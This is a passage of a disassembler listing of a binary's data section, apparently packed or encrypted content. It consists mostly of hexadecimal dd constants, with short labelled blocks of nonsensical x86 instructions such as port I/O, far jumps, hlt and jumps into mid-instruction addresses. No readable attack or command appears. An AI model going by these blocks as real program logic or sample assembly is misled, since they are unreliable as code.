		dd 0C61B2871h, 9E1E7289h, 95D10B49h, 0F80BAA3Dh, 0FA7B4E4Ah
		dd 8155DDA5h, 918044CCh, 0A4A6D65Ah, 2A3BEFF2h,	0F4325FA0h
		dd 4B549F18h, 2E5D0D7Bh, 0A7096404h, 0A991F040h, 101985F3h
		dd 0C115CA52h, 3AA2DA82h, 2DAD87F0h, 9796661Fh,	270233C3h
		dd 4EF69D6Fh, 4318C297h, 97A28A33h, 0F1BA58h, 2475D4F5h
		dd 0C69A3827h, 41193BF5h, 0CB0F8E43h, 4E73DA02h, 0F8679A93h
		dd 8A697852h, 96745038h, 8BF62CB6h, 88A1C80Eh, 6A8F7C13h
		dd 0A6090233h, 0B13494F4h, 995B5311h, 0FBD6EBCEh, 55EFF25Bh
		dd 0EBD03432h, 7139B17h, 7CAF4C1h, 3E594EE0h, 66A18562h
		dd 0A2BA7686h, 261DCF14h, 9F88AAC8h, 4A1AC7E2h,	956464ADh
		dd 74B3F7ACh, 34DF6F3Eh, 0A9E8034Dh, 0FF9676C8h, 92D6AF26h
		dd 2CA141ADh, 8714CF3Ch, 52000B8h, 0BEE427EFh, 0BB1560C3h
		dd 0C267FA6Ch, 5C2D64B7h, 6AE4DEC4h, 30BB02FBh,	0CE7D27A9h
		dd 0B1A43F9Dh, 0D5396BF3h, 0ED88630Fh, 0DF798712h, 0ABEDE494h
		dd 44283970h, 60732F2Ah, 0C8FBB6DCh, 0F037AC1Eh, 1EC74562h
		dd 203EF8DBh, 93F2D844h, 5C4F96D2h, 0E5C3896Eh,	0E183E1B6h
		dd 0F3D6D1B1h, 3135C208h, 1B3D0B0Ch, 15B312F0h,	0F4B73BFCh
		dd 90CDDEBCh, 72119FB0h, 3E61B0A1h, 48E985BFh, 8661BDDFh
		dd 0AFBFEB74h, 2C901701h, 2559B3E2h, 0F04B4B76h, 511B78D5h
		dd 5CAC8FACh, 0E3D0FD66h, 0C465A9D5h, 4BEFFE7Dh, 0B0A9959Ch
		dd 0F86EBBF6h, 0F6195519h, 85150184h, 9DA45CD6h, 7F0AC8EFh
		dd 6BADABB8h, 0E9E0B1Ah, 990620DDh, 0A06212E0h,	0F513B64h
		dd 9F769EB6h, 9AD9C217h, 96E243A5h, 1CBAAD01h, 0C79E8274h
		dd 0A3611C13h, 9E4B5762h, 8856440Ch, 7417F192h,	0D08511CEh
		dd 847567C8h, 4BFD9046h, 5CB004ECh, 1CE5CEBDh, 0BF374F44h
		dd 0F95ACFBBh, 0BFDF2545h, 0B86615D8h, 0D535941Fh, 5D3D9F58h
		dd 0F221388Dh, 6828B31Dh, 5B3ACE7Ah, 51F7F11Bh,	42CE4873h
		dd 0FEFC87F3h, 9D660835h, 3E28FA49h, 0FB9744AEh, 3B414E88h
		dd 0BD7A5FECh, 1E81BAEDh, 849459DAh, 261E616Fh,	57CF7170h
		dd 6BDA792Fh, 35A3000Ah, 15EB492Eh, 0D965F861h,	922B956Bh
		dd 46CFB3BFh, 383E412Fh, 0B0D1C567h, 1F8EE38h, 0EB998DB6h
		dd 0FA2488B6h, 0C004753Fh, 0F87506C7h, 0A2E61353h, 0E12C543h
		dd 496F7A54h, 5EA3EEFEh, 4E805269h, 3823ED22h, 7E34E8CBh
		dd 918F4F99h, 5041221Ch, 31746417h, 4A6E2573h, 5F760D42h
		dd 0AE99C947h, 918B5DBDh, 8EB94BFEh, 0C1FEE9AAh, 0F7653B7Fh
		dd 0A0EE9F58h, 0CFD44EE9h, 3F181BAh, 0AE0B87D7h, 0F48E4C51h
		dd 4374F3C8h, 8A2E4F83h, 8B842A78h, 0FFC8ABDh, 12A9848Ah
		dd 66B15F8Fh, 2EAAD9A9h, 0A40E6B12h, 0B77E509Ah, 76D258C8h
		dd 0C7B951E7h, 3ADCE9C4h, 0C025EF24h, 4A838D10h, 74F191F6h
		dd 0F8FBAC7Dh, 31918587h, 48F5D89Eh, 22713279h,	3C841A2Ch
		dd 6589D1B2h, 667087FBh, 0B7DE1F7h, 28850CABh, 85EC5BACh
		dd 64C1B766h, 0CBE10659h, 43CA2352h, 7B3B309Ch,	6FBC6ED9h
		dd 8C887662h, 6D2C1B8Fh, 0D4BA42A3h, 0C223AD0Ch, 759C564Fh
		dd 4288BD2Ah, 6D6EB536h, 4A2860B5h, 2A1481C6h, 167E7FBAh
		dd 4A46297Fh, 0F7767188h, 0DC475850h, 775E8B4Ch, 0B27792B6h
		dd 4E1E6F89h, 982C539Bh, 0F48A9AEDh, 723B3174h,	0D45D0FA3h
		dd 363E5113h, 67670E71h, 3BF5A23Ch, 0A7548464h,	0ACAFB374h
		dd 8CF9FEEBh, 61308842h, 9F445CCh, 3087956Ah, 4E473849h
		dd 16AF5FB5h, 77321819h, 50A32C06h, 4D274590h, 4EBFAFCCh
		dd 0E3EE8E25h, 342D0400h, 7E307F21h, 7036592Dh,	77B74C76h
		dd 0B84B50DFh, 3A061F09h, 0B3E1D42Bh, 0A4ABF556h, 7E5FBC1h
		dd 31387DD2h, 1F07D8BBh, 2FE19B4Bh, 94F22AEDh, 0F1F48C88h
		dd 61F4B2F2h, 0C3D1E6E3h, 9F65D6F4h, 311AAD14h,	0AA94477Bh
		dd 663BEAA4h, 939F05C5h, 128BF3Eh, 913F7D51h, 5D4F3B63h
		dd 5D41C024h, 779CFB04h, 2F24A44Ah, 0B9C484C1h,	0E16144Eh
		dd 0B3422DA7h, 0C886506Ah, 18A5780Bh, 8F6C4AFDh, 0E15C53A2h
		dd 387D1CF7h, 0F68FC6F5h, 7C348D62h, 29C6217h, 25FC55F4h
		dd 2482D9Eh, 0A88CC1DDh, 0AA6C2475h, 0E6BF576Bh, 0B597E29Dh
		dd 0B8A18849h, 0ABEEB715h, 0F0F6A30Ch, 3F5BDB22h, 0B9C7D888h
		dd 0FA8165EAh, 2370D450h, 414F3CBEh, 0AB3D9395h, 287DC91Fh
		dd 0F7E01566h, 1E889D8Ah, 0D4422970h, 6901C097h, 0C0312C4Fh
		dd 42D05D5Bh, 62F1D8CCh, 6E0A2A2h, 8AF16382h, 516E0AA1h
		dd 43BE0CC1h, 443086B2h
		dd 0E9B11749h, 8C8490EAh, 0E032116Bh, 7CA88987h, 0F1FD6C2Fh
		dd 2BA57C73h, 72CAB96Dh, 6B86625Bh, 3DD48457h, 8A90D9C8h
		dd 36EED289h, 2E6D0829h, 0AEF48CFEh, 116F5D75h,	0D553A51Ah
		dd 9B437F5Ch, 907116D3h, 0DE93BA25h, 655C6984h,	0DE4D2982h
		dd 0E2ECF067h, 5E8711E9h, 602B759Fh, 0C4EA3DBEh, 0CCC9B05Eh
		dd 54454D44h, 2951819Ch, 408EF762h, 214BB30Dh, 17E06BADh
		dd 834E5368h, 7D94E1D4h, 2446A63Ch, 574EFA0Bh, 85A603ACh
		dd 0ACC90476h, 0D4A4F48Eh, 7AC4A969h, 0BDA30BD6h, 2296BA7Ah
		dd 1B0F3E3Dh, 2050EE91h, 0D84D60A7h, 0D9076710h, 0EDB7E052h
		dd 0D1713D8Bh, 2CF0E302h, 1EAA62E8h, 0FEEAA905h, 0A2A3E840h
		dd 0B07861Ah, 60925AB7h, 30F9CBF4h, 4EA7E5ECh, 5F5C3100h
		dd 3C81F453h, 65F677B3h, 6B0341BEh, 8C15D9C9h, 0DF49C24Dh
		dd 4CABAAF1h, 7DC1D927h, 59C11BE9h, 629712B2h, 0F4FD222Ah
		dd 0B10D44C1h, 9050B62Bh, 2390D692h, 41B438EDh,	13AE462Dh
		dd 0FCF62F96h, 0B2FC8734h, 0BEDDBC49h, 5C69A67Dh, 8310C1AFh
		dd 0F67E71Ah, 76BC9DBh,	74BD4111h, 0F3BCB8ABh, 0CEE745F9h
		dd 926F230Bh, 0D4DB49EEh, 0ABFC78DDh, 54F5EDDCh, 5E376514h
		dd 650CDDD0h, 0D2DFE929h, 0E1BFEA94h, 23B6B3EBh, 0E3AEDA79h
		dd 20FD707Ah, 9BD72DF8h, 8453D37h, 0AA3D2245h, 0DABDF4C6h
		dd 0DD218A36h, 0FCE5C275h, 3B805CF8h, 7F8240FCh, 9B758E57h
		dd 6250CFCCh, 0FE8AC0C5h, 0D4A9DEC2h, 8D90D81Fh, 393F446Bh
		dd 5C22FA09h, 32DA6F5Eh, 6A83C24h, 0E4F9528Eh, 77ABDF82h
		dd 0CEE32B4Ah, 2D86B99Ch, 9053CF9Eh, 5C1EEC2Dh,	477A3359h
		dd 71AAC89Ch, 0A5533E3Ch, 0F0F3AF92h, 555250D9h, 0B4414830h
		dd 0E2477D54h, 6F4EF6CBh, 15E6BC9Ch, 40EFFE76h,	9832D57Dh
		dd 0DB451470h, 85750C37h, 7CC59599h, 0BECD059Ah, 0B0984965h
		dd 91A41DFAh, 351896B8h, 34C73CE3h, 0A5FF1AC7h,	0A3AC39A0h
		dd 0CDCE1490h, 0B3633D4Dh, 2B59CDA5h, 28874F7Ch, 0ACF0793Eh
		dd 0B26EA0E3h, 80C0F42Fh, 0AB6BAAE6h, 61B3263Dh, 6C06A751h
		dd 0AAE1DA26h, 0BE7A640Eh, 3353643Ah, 96485930h, 0AF0661C8h
		dd 442502C5h, 0B549EB9Fh, 73DE1C17h, 0CABF44B3h, 0A13AB8F9h
		dd 24C9CB86h, 438E6D7Fh, 0B74E1EBBh, 0E01A6509h, 0A3F1105Ch
		dd 0F2135C7h, 0F6B022B0h, 240A09C9h, 675E9121h,	0CA692DB9h
		dd 21B518A6h, 45F591FDh, 9BDF4F3Eh, 3C365535h, 3EFDEEB9h
		dd 209C235Bh, 0FD6BCC08h, 6B5223B2h, 9B5FB5Fh, 9996E605h
		dd 0FE25D91Dh, 619257BCh, 0D0DE16CFh, 9E59A33Fh, 0B6922B83h
		dd 845B50ACh, 3A800A91h, 8ECB0E07h, 0A069EEC2h,	26CFB775h
		dd 0CDF8C94Fh, 481009D7h, 72126E27h, 921C1D2Dh,	2396C1D6h
		dd 0CD8EA329h, 0B0885A65h, 26754437h, 0A769220Bh, 3E75344h
		dd 3F200A3Bh, 357654A3h, 0AEB0E5B6h, 54E7B318h,	4717A881h
		dd 0EE6C4D26h, 0DF81762Eh, 0C39A0C33h, 0FFC31BBh, 0F4070B06h
		dd 61148821h, 2BEE6673h, 28A5DA0Fh, 6AEEABD4h, 92643696h
		dd 3140C626h, 0B9758C04h, 93F07E76h, 0D4F65921h, 36E0A14Ch
		dd 986FC1C5h, 0E7896B84h, 626C34A3h, 58AE9CF3h,	44F34B3Bh
		dd 0B1E97C4Bh, 2CAFB4C1h, 0F890A1Dh, 0B3026AF7h, 4064EB27h
		dd 4862F5C2h, 0F7ED6508h, 0AFB82350h, 0C946D94Dh, 85E67A59h
		dd 18EB7F0Fh, 0C1919EF8h, 39BAE157h, 0F2392753h, 75357A24h
		dd 0A7FFAEB0h, 0D7B5A78Ch, 2DAD5762h, 976D781Dh, 9EFEC9E8h
		dd 0B92C425Bh, 5FE40981h, 48276378h, 0BC8069AAh, 0DCD79641h
		dd 0FEBD4373h, 0CD774F04h, 8A937655h, 0AF160B2Bh, 0FB263E6Eh
		dd 6E52387Fh, 5739305Ah, 1632BE9Ch, 7CEA292h, 42683E8Dh
		dd 0E1F5711Ah, 9783C4E9h, 0E5EC5F47h, 0CC2D4DFAh, 4D7ACF68h
		dd 921C36D2h, 2B33BCE6h, 16866F1Fh, 1388063Eh, 55C553ACh
		dd 0A1F7119h, 99A635B4h, 949F9B48h, 83B673E5h, 1035F1BAh
		dd 0A85DACAEh, 28462CB8h, 4C6EBA58h, 6D02F3ABh,	4020141h
		dd 0F4ACBE06h, 1303D727h, 189F9AC6h, 0C566FEBAh, 80D5DA58h
		dd 0D5DF3330h, 0FFD42FAh, 616DD723h, 6619051h, 1F9746D8h
		dd 62601990h, 0A2F94DEEh, 0B53C87CFh, 452204EFh, 0E9B654C6h
		dd 0C312A3B2h, 0DD64F0E0h, 3D45E243h, 49D27940h, 8EAAB39Dh
		dd 6D5DBFBAh, 0C35AA0CBh, 66ED705Fh, 95B9C695h,	8B9B034Fh
		dd 544BF64Ah, 81E273CDh, 946124BDh, 8B16AA33h, 0EB6F239Ah
		dd 49D0EABEh, 658764B7h, 2A2F89C2h, 0CB03DD30h,	680DFB11h
		dd 0B3A97AB9h, 0C965DCDCh, 0EE65343h, 0CE1BC35Eh, 0DAAFE56Fh
		dd 410F4B4Dh, 0CFC37238h, 0BFCB5DA2h, 3E648050h, 40FF358Dh
		dd 279C7A98h, 0CB06BBD2h, 85F5EC4Ch, 159C2C42h,	0AD578C06h
		dd 0B875F8Bh, 2CC36772h, 0D816C412h, 0B8FF03ABh, 0D03D68DDh
		dd 8688024Eh, 67E52812h, 63F314FBh, 6F436E8Eh, 79A4D215h
		dd 54935807h, 3BF001F6h, 0A23C5FACh, 8FDF3A36h,	935981E7h
		dd 0C1B2FB05h, 48AEBC4h, 0E88625A2h, 9BB84E83h,	0B83E87FBh
		dd 0B64A060Ch, 5BB868D5h, 26E8EFF1h, 88D3C119h,	826F5BCBh
		dd 9744D451h, 6134ABA6h, 44E51639h, 1906AB45h, 417F704Eh
		dd 813EDF97h, 8BB6275Ch, 5C6B66B3h, 134E411h, 6A25E19Ch
		dd 0F80F8BBBh, 0E69216F2h, 2CA2C5A3h, 8F084D59h, 2EA26F1Ch
		dd 0F06F34DAh, 0C591A520h, 0EDE8D11h, 0BF7A24FBh, 32139748h
		dd 0C9C86C70h, 23491E2Eh, 0BE5D4B49h, 0BE77C299h, 3EBF142Ah
		dd 62FBA0BFh, 0DF0AA5C2h, 721A825Fh, 12CCE7F9h,	0A4262703h
		dd 7F1FFE38h, 0C5EEEA6Eh, 91975FCAh, 0C8FAADB1h, 0AD77AF97h
		dd 1E2C926Eh, 8AE9DEA6h, 0A010B0CEh, 10BF2CA7h,	3C393034h
		dd 0CAE102D5h, 9121351Ah, 0EA51AD5Ah, 0A9241175h, 3675F00Ah
		dd 6A6B3689h, 0EAC5EFAAh, 523B7C71h, 0EF9EFF81h, 0CF8490BBh
		dd 0AC521366h, 0ED4A0A4Dh, 770928EFh, 0E234B611h, 74A1592Ch
		dd 4F38766Bh, 224C2F2Fh, 8C41B419h, 6580ECBBh, 0A9F2CC6Eh
		dd 0ADF1E75Dh, 9F949FFDh, 0A6991E88h, 4386A5A8h, 85D91EDBh
		dd 20536E0Fh, 2C4F1F61h, 3C070606h, 132B74D2h, 490501B9h
		dd 5CD06ADBh, 0A23D9066h, 0FBCF4D8Eh, 8F568A5h,	303AE95Fh
		dd 5AD193B3h, 1B626669h, 739EAC7Eh, 5F8AA10Fh, 0D3FD58ADh
		dd 0E73F9927h, 9A3A010Ch, 34E99B19h, 0DA2697AFh, 0AD73B9A2h
		dd 9558502Eh, 0D7962670h, 14BC03CBh, 4024F1B8h,	80C8722Fh
		dd 7633D0DDh, 0C12CC5F0h, 16794292h, 1EDC9220h,	0D75B4BF1h
		dd 0FEEC55Eh, 7347594Fh, 17CB78F7h, 9D24F2CAh, 22820919h
		dd 0AD107B25h, 1D574B4Eh, 161780E9h, 0E43712FAh, 658C84A6h
		dd 18026EF5h, 0AF0FB61Bh, 4D9DBF20h, 0FAA70D45h, 5A93C117h
		dd 3DA3A5B6h, 65B608EAh, 945A84E7h, 99120DF9h, 0A928026Ch
		dd 98770542h, 46A04CD4h, 5288C168h, 0A5AB9C03h,	55AA318h
		dd 9475DD0Bh, 0DCD89D04h, 96D335ADh, 0CE5BFC5Fh, 3785B5F0h
		dd 0CBFD4192h, 0E1AF394h, 0DED30317h, 2C8BC7B9h, 8836765Eh
		dd 0B2D4228Fh, 0B6366C19h, 2A610D20h, 3D77D058h, 57B21077h
		dd 9AB6AB9Eh, 0DDE34B68h, 96E73139h, 0D1ADCF6Eh, 1C032F59h
		dd 2E02016Eh, 0F4BE3D03h, 0AAC8A8BCh, 5D1B32A2h, 23FC1B34h
		dd 0E898A377h, 0A2E5E5D9h, 940EEBC4h, 6F49BC56h, 0A9BEBA89h
		dd 8E74BC6Fh, 5B770D00h, 5B9D481Bh, 0E3177539h,	0F573AD47h
		dd 0B7F4A9A3h, 3F49C6B3h, 41774DB3h, 0C34F3657h, 5D071090h
		dd 950FA89h, 0A8EC491Fh
		dd 5BBC25D3h, 0C3734B29h, 8E2BF4FFh, 0A07D7872h, 0BE18A17Fh
		dd 0FD63E0FAh, 0D5559D39h, 96D823B6h, 0BB0181C4h, 50B0B1Dh
		dd 3B82D48Ch, 9435BCA1h, 0D7595577h, 4F486D16h,	0D759FD6Bh
		dd 0D9F612F9h, 9941C7A9h, 8D589974h, 49C58529h,	33299118h
		dd 0BA8CF96Eh, 31FADFD0h, 0A3EB117Ch, 39371F53h, 0E7936341h
		dd 6E0B3A23h, 6CEDA5A9h, 3E42B620h, 0A15008E0h,	0D8802C09h
		dd 12A1C35Ch, 4BF2D643h, 0BE57CBEAh, 0F4CF3F5Eh, 83BBD30Bh
		dd 0B65557D4h, 113AA945h, 0F0E39448h, 21D84F91h, 0B08F9257h
		dd 15C25989h, 66725514h, 5B692A85h, 0E8B2415Bh,	9D45C61Ah
		dd 0F871936Eh, 97956C08h, 0B96B6F91h, 1CE9D644h, 7864C513h
		dd 0AED7D994h, 4401ED20h, 11196571h, 85AD4DC2h,	849B3631h
		dd 40DCBDEEh, 2BC534E7h, 33F742Fh, 61622C78h, 888456BEh
		dd 33E42ACAh, 41BA39A6h, 0EBB68311h, 5CB6A5FDh,	0F4695FBAh
		dd 76931FC2h, 7F0F7234h, 1D208781h, 0DEB5B715h,	0A94E7CE7h
		dd 0B118EA89h, 0F0418334h, 0FCD3C74Ch, 5DA8A758h, 122B2783h
		dd 0EC1B0FF8h, 6D3FDB27h, 3F5D0B28h, 7A3F92DDh,	7A5BC669h
		dd 1BDA0DCAh, 7BC99F6Dh, 457A208Eh, 7BBED01Fh, 4B67A239h
		dd 0F31C1115h, 0C22D971h, 17C2992Bh, 0E81AA3EBh, 0F5A83065h
		dd 0E393234Fh, 70C7C7CAh, 0BA86AC7Bh, 0C3A8063Ah, 0B7BE180Ch
		dd 21FA3891h, 553DA078h, 83729ADBh, 2FAC13A0h, 1FB41FF4h
		dd 204A9318h, 40F0083Bh, 0A740202h, 2B3053F7h, 7AC53A41h
		dd 0E8B70483h, 3A8E1FB6h, 0BC00F3D6h, 0AD9D7E12h, 94788CDEh
		dd 3DC9A0B9h, 5A132DDDh, 0B4CB68F1h, 81986080h,	764D687Ch
		dd 3C9B5F5Ah, 803EEBADh, 8ABF374Fh, 85CB35C5h, 0BC3033B9h
		dd 3224CF4Fh, 41613AE3h, 31D8607Ch, 5ECDE568h, 7BF0CEF2h
		dd 660E9F03h, 0A2B6B074h, 7B7B4D32h, 0E2A6E7C9h, 15877DF1h
		dd 8F505372h, 4591CAB3h, 3C93FFBh, 0CF84BC66h, 0BFEA2622h
		dd 35BBA10Fh, 53F3B3A1h, 0E4C6749Fh, 0AAC960CFh, 28722E01h
		dd 9BC9226Ch, 9BBE2CAFh, 0CF9FD005h, 988FC8DAh,	8B54B477h
		dd 0AFA7C036h, 5611965Fh, 8BAC52CAh, 9C126D68h,	6EFB7B79h
		dd 0DBAB0B6Bh, 0F5E9298Bh, 7C4B3C0h, 0D8E2416Dh, 607E02D9h
		dd 13758B85h, 2A61A146h, 1E8FA0ABh, 8A68A655h
; ---------------------------------------------------------------------------


loc_4253F8:				; CODE XREF: .data:0042545Ej
		lock rep mov ch, [ecx+28h]
		scasb
		pop	ds
		in	eax, 0Eh	; DMA controller, 8237A-5.
					; Clear	mask registers.
					; Any OUT enables all 4	channels.
		mov	eax, ds:0A62B79F5h
		db	36h
		pop	ds
		push	esp
		push	ecx
		sub	[edi-17h], ah	; CODE XREF: .data:00425471j
		std
		xor	[eax-1BC13C58h], ecx
		xor	[edx+2Eh], ebx
		db	26h
		das
		mov	byte ptr [ebx+55h], 0DCh
		imul	esi, [edx-35509C31h], -4Fh
		test	[esi-3CFC1A90h], dl
		wait
		xor	[eax], ecx
		lahf
		movsd
		jmp	far ptr	8813h:4355A1D0h
; ---------------------------------------------------------------------------
		dw 92E1h
		dd 2EFBBD6Fh, 0A4D674AEh
; ---------------------------------------------------------------------------


loc_425440:				; CODE XREF: .data:00418C51j
		jb	short near ptr loc_425484+2
		fstp	qword ptr [edx]
		mov	[ecx-7Ah], eax
		pop	esi
		sub	[esi-672446D8h], al ; CODE XREF: .data:00425481j
		mov	ch, 9Dh
		imul	esp, ebx, 0ECBA0D8Bh
		push	edx
		mov	esp, 73ABE05Ah
		mov	ch, 0ECh
		jbe	short loc_4253F8
		insb
		or	[ebp+61h], esi
		pop	ss
		or	al, 0FDh
		and	edi, ecx
		pop	ds
		pop	edi
		mov	byte ptr [edi],	0Ah
		pop	eax
		shl	dword ptr [eax], 1
		jle	short near ptr loc_42540A+1
		or	[edi+1344DD94h], edx
		xor	dword ptr ds:1C261E04h,	0FFFFFF95h
		wait
		ja	short near ptr loc_425448+1
		insb


loc_425484:				; CODE XREF: .data:00425493j
					; .data:loc_425440j
		sal	byte ptr [edx-22h], 9Bh
		mov	dh, 0B2h
		sbb	dword ptr [esp+ecx*8-73h], 0FFFFFFFCh
		cdq
		setalc
		out	dx, al
		popa
		jz	short near ptr loc_425484+1
		add	dh, dh
		cdq
		movsb
		push	esp
		pop	esi
		ja	short loc_4254EE
		cmc
		push	0DEDDEEACh
		xor	al, 5Eh
		or	eax, 0CA5CD215h
		add	dh, ah
		cld
		pop	ebp
		push	edx
		hlt
; ---------------------------------------------------------------------------
		dd 0DD0223B9h, 0F5B2A97Dh, 0EE917B8Eh, 8513E37Eh, 0DA1F5B42h
		dd 9BF13608h, 176ABBE1h, 10EE7E0h, 0D27EA2FAh, 0A4D7AFEAh
		dd 0F5A6A559h, 0AFF33C04h, 0B9628CBBh, 0A04DF1E3h, 0CC6F4AA2h
		db 0F9h, 84h
; ---------------------------------------------------------------------------


loc_4254EE:				; CODE XREF: .data:0042549Bj
		and	ch, [edx]
		mov	fs:[ecx-0BDE76D0h], ecx
		sti
		fstp	dword ptr [eax+33h]
		or	al, 39h
		pop	esp
		jnb	short near ptr loc_425576+3


loc_425500:				; CODE XREF: .data:00425530j
		idiv	dh
		sbb	eax, 0F84E3988h
		sub	[ebx], dl
		jmp	short loc_425576
; ---------------------------------------------------------------------------
		db 3Bh
		dd 81D65F58h, 0EABC0A32h, 23C6ECC5h, 0DD36B75Eh, 26F2A58Bh
		dd 0A7415C24h
		db 0ABh, 18h
; ---------------------------------------------------------------------------


loc_425526:				; CODE XREF: .data:00425589j
		adc	ebp, [edi+6Dh]
		mov	al, dl
		mov	esi, 5715CF1Fh
		jmp	short loc_425500
; ---------------------------------------------------------------------------
		dw 4DD4h
		db 0CCh
		db 17h,	64h, 90h
		dd 0B76F120h, 0E7D38B7Ah, 73EEB88Eh, 67160D2Bh,	696394E4h
		dd 0C0C1CB8Ah, 0CB139D29h, 0F47CE026h, 3C711E7Eh, 63EBF9h
		dd 0DA7422BBh, 0F8A0EF79h, 493EE153h, 0B8203ABh, 30B54234h
		db 18h,	7Bh
; ---------------------------------------------------------------------------


loc_425576:				; CODE XREF: .data:00425509j
					; .data:004254FEj
		lock sbb eax, 8C9B8FEh


loc_42557C:				; CODE XREF: .data:00418D8Dj
		mov	byte ptr [ebx+5F0D695Dh], 0C3h
		sbb	ebx, edi
		cmp	ah, bh
		inc	edx
		popa
		jg	short loc_425526
		push	esp
		dec	ebx
		and	ebp, esi
		mov	bl, 0F8h
		outsd
		jge	short loc_4255FB
		test	[ebx+3Eh], cl
		insd
		adc	eax, 0EEE0BB66h
		fldcw	word ptr [ebx-53h]
		pop	esi
		sub	bl, [edi-2E3354A0h]
; ---------------------------------------------------------------------------
		dd 6CC2E6C4h, 26179FF0h, 4845A4Eh, 1B29E38Ch, 0ACB5D162h
		dd 3B8FC1E4h, 2A666CAAh, 24FD9713h, 0A90CE34Dh,	4E8B2E99h
		dd 0F6D3255Bh, 8415C43Fh, 362AA055h, 69CDD1D4h,	0B0968962h
		dd 0C795F38Eh, 0E3A16F04h, 0CA25BF89h, 34BA9C9Fh, 7C521743h
; ---------------------------------------------------------------------------
		retn	0C416h
; ---------------------------------------------------------------------------


loc_4255FB:				; CODE XREF: .data:00425593j
		push	esp
		fstp	tbyte ptr [edx+5371CF63h]
		in	eax, dx
; ---------------------------------------------------------------------------
		db 66h
		dd 55D2D58Dh, 0BDC59B03h, 7A1969E8h, 9CF7CC52h,	4856C604h
		dd 0ECC717C9h, 386BF65Eh, 491D02BEh, 484D30F4h,	0C67A512Eh
		dd 0F2CB2282h, 579A564Ah, 8D54CE9Bh, 5694F98Bh,	0A1FE8B5Eh
		dd 811C11BFh, 3F32B24Eh, 6B1794A6h, 5B1344FCh, 7D82BB45h
		dd 9A913D7Dh, 0C7C939CEh, 2DBFD26Eh, 0D1838A5Ah, 0B620B53h
		dd 0D0E6B894h, 3E7C72F8h, 0DE05C480h, 0ADE92A1Ah, 34062B87h
		dd 4546DD22h, 6E506711h, 0AB1151A0h, 4398C3A2h,	0D8DD940Dh
		dd 35951981h, 905087D0h, 0FDF3BD8Ch, 2F1F1F88h,	0B40926D8h
		dd 6553BCC2h, 8DFF5049h, 8FCE2E75h, 0B085AF33h,	0A7E13037h
		dd 0D42E66F3h, 0D2B9D2D3h, 0A7B8BFA4h, 0FBD0DFCDh, 3D4E4791h
		dd 6D930B38h, 92E136BEh, 0A5ED6C58h, 630159C8h,	72B73D0Dh
		dd 97FBE35Bh, 65CEC215h, 0FC6DBDAh, 57D985E1h, 78CDF5C1h
		dd 0A5204411h, 4ABB4306h, 272B76C5h, 0FDEBF8Ch,	76060E89h
		dd 489C90E5h, 0E1650B8Ah, 2E6B6E33h, 0F8E8319Dh, 71B3CDC8h
		dd 0E339C6Dh, 6811839Ah, 0A8414D3Ch, 0D8032C57h, 24759662h
		dd 2A76E457h, 885706B1h, 2F9281AFh, 0E6828DF9h,	0ADCB236Ah
		dd 42CDE71Bh, 0EF2B60FFh, 0F8385679h, 3FDBAA51h, 0E5945C2Dh
		dd 1649BCFBh, 37DBB854h, 44508141h, 0F944A478h,	0BBD25CA7h
		dd 87005036h, 77502544h, 0C2271A6h, 3C4A0ABDh, 38554439h
		dd 0B6341524h, 0AB776A45h, 1B95C44Bh, 840794F1h, 0F78A9295h
		dd 8C71DDAEh, 484F74C0h, 7B8AF1D1h, 7CD7BC9Dh, 0B7BA1F04h
		dd 79F11032h, 0AD41122Ah, 0B9C26C83h, 97AE8EA9h, 77751987h
		dd 7D7683BDh, 0A4F847D0h, 41DDA954h, 42346BBCh,	84AA5B67h
		dd 64B85F1Bh, 8F378069h, 0B0848003h, 0E978F13Bh, 401CBFE8h
		dd 9C1D286Eh, 3411204Fh, 7CC36F99h, 45114BE3h, 50E3D9BEh
		dd 1125D8C7h, 2039742Eh, 81E597Bh, 42B52A2Dh, 8B882349h
		dd 7BD8CF94h, 242CF86Ch, 0E757A1DEh, 0D2E503CCh, 0DDB358A7h
		dd 0F77B5828h, 16592A7Ah, 0B07742Eh, 7B33342Ah,	0B527B346h
		dd 0EE1A9536h, 5853A4A5h, 3BF84A05h, 50B7C25Ah,	3F301B2Fh
		dd 9E7AC6FAh, 672EAB95h, 0DBE56A8Ah, 0EA272D8Fh, 0EB2803C1h
		dd 1D3E3AE5h, 0E52834D8h, 0FDA4E945h, 1AE38E63h, 0C69C8BF6h
		dd 0DA9F91B8h, 90031C92h, 72782283h, 9DA3156Bh,	53F16BDFh
		dd 0FAF9CEA6h, 0F1DE179Fh, 0A0667Dh, 3EFAC763h,	0F9C79C44h
		dd 0E2B4912Bh, 0FB0C1922h, 0D666E103h, 0DA6011A3h, 0F2D0EFD0h
		dd 4064C560h, 3FACB59Eh, 0E4FE6128h, 6D1C8008h,	10E18735h
		dd 0E689A397h, 0F5BFA031h, 8BABD879h, 0C5AF180Ah, 0C58CB38Eh
		dd 0FED21562h, 0A7501E5Ah, 5FD02C2Fh, 63BC99BBh, 36690868h
		dd 0E27E618Dh, 80D095B1h, 0C7583F0h, 221CCE2h, 0EB402481h
		dd 0E427132Eh, 8EED77B8h, 0CDE1AF08h, 924B7E99h, 0C7D11987h
		dd 81FCCB03h, 0C924C531h, 9F64E13Eh, 0FE420BABh, 360D912h
		dd 6899139Ch, 0A0E52004h, 0E775AEEBh, 0B55A91EBh, 0CEA673BFh
		dd 20687718h, 0E16892A1h, 0AC25040Dh, 0F682AFB2h, 9B40BDB7h
		dd 0A526EE18h, 96EBACC2h, 18C3D288h, 81579BBCh,	0BC626D34h
		dd 9D8EB256h, 0F8DC7520h, 399D2330h, 289CE0A5h,	0F87687E9h
		dd 0AD5C6076h, 7CB912EAh, 0F405D1D7h, 346F5393h, 0A6E0EC0Bh
		dd 3DA69046h, 39F23CF3h, 42540128h, 6BA88FF1h, 0AACAA424h
		dd 8CD54A0Bh, 3D5E52CEh, 52B59903h, 72504119h, 0C0DA07A0h
		dd 27D9ACB0h, 15F2986Ch, 8607F487h, 0C1DF0880h,	0D0331AFEh
		dd 8B9CFA7Bh, 0DDEC5A71h, 39ED5831h, 0F2794152h, 48B25F77h
		dd 6E3AB083h, 530B72FCh, 42B08B70h, 0BFE6D171h,	0D4BCD73Eh
		dd 0A99DDCh, 0ECF2DD8Ch, 4A1BFF5Fh, 0B1AF132Ah,	0D57E8952h
		dd 3031CE21h, 0D045EFE1h, 61D57B06h, 8C3F249Dh,	91C7714Eh
		dd 0FDB2F86Eh, 0E044D6BCh, 0BFAC6658h, 0E7F62B1h, 94651A3Eh
		dd 281B5246h, 15686492h, 0A3722AECh, 0BF3615CAh, 40B396E2h
		dd 0AD436D0Ah, 0B8FBBA50h, 6B4B550Bh, 3BECCB03h, 8E7A9BAAh
